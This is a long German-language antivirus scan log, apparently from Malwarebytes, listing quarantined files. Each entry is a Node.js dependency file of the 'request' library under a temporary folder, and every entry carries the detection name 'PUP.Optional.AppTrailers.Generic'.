PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\inherits_browser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build\build.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\component.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\duplex.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\passthrough.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\readable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\transform.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\writable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\test\basic-test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\test\sauce.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\test\test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\bl.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\LICENSE.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\caseless\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\caseless\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\caseless\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\caseless\test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\lib\combined_stream.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib\delayed_stream.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-http-upload.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-auto-pause.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream-pause.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-delayed-stream.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-handle-source-errors.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-max-data-size.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-pipe-resumes.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration\test-proxy-readable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\common.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\run.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\Readme.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\Readme.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\forever-agent\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\forever-agent\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\forever-agent\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\lib\form_data.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\lib\async.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\support\sync-package-managers.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\bower.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\component.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\db.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\HISTORY.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\HISTORY.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\Readme.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\example\usage.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\images\hawk.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\images\logo.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\browser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\client.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\crypto.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\server.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\lib\utils.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\images\boom.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\images\hoek.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\lib\escape.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test1.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test2.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules\test3.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\escaper.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\examples\offset.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\examples\time.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\browser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\client.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\crypto.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\message.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\readme.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\server.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\uri.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\test\utils.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib\parser.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib\signer.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib\util.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\lib\verify.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\errors.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\reader.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\types.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber\writer.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\reader.test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber\writer.test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\assert-plus\assert.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\assert-plus\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\assert-plus\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype\ctio.3ctype, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\tools\jsl.conf, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\ctf.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\ctio.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\ctype.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\README.old, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\http_signing.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\json-stringify-safe\test\mocha.opts, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\json-stringify-safe\test\stringify_test.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\json-stringify-safe\CHANGELOG.md, In Quarantäne, [2862], [371306],1.0.2075
